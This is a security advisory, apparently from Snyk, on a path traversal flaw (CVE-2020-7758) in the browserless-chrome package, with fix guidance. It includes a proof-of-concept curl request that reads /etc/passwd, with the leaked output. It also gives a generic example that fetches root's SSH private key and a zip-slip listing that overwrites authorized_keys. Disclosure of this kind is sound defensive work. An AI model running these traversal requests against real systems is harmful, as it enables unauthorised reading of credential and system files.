Path Traversal Affecting browserless-chrome package, versions <1.43.0
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Test your applications- Snyk ID SNYK-JS-BROWSERLESSCHROME-1023657
- published 29 Oct 2020
- disclosed 29 Oct 2020
- credit Sam Sanoop of Snyk Security Team
Introduced: 29 Oct 2020
CVE-2020-7758 Open this link in a new tabHow to fix?
Upgrade browserless-chrome
to version 1.43.0 or higher.
Overview
browserless-chrome is a web-service that allows for remote clients to connect, drive, and execute headless work; all inside of docker. It offers first-class integrations for puppeteer, playwright, selenium's webdriver, and a slew of handy REST APIs for doing more common work.
Affected versions of this package are vulnerable to Path Traversal. User input flowing from the workspace endpoint gets used to create a file path filePath
and this is fetched and then sent back to a user. This can be escaped to fetch arbitrary files from a server.
Note
This package no longer releases fixes to npm
but a fixed version tag 1.40.2-chrome-stable
is available if this package is loaded from GitHub.
PoC
run docker run -p 3000:3000 browserless/chrome
snoopy@snoopy-XPS-15-9570:~$ curl --path-as-is --url 'http://localhost:3000/workspace/../../../../../../../../../../../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys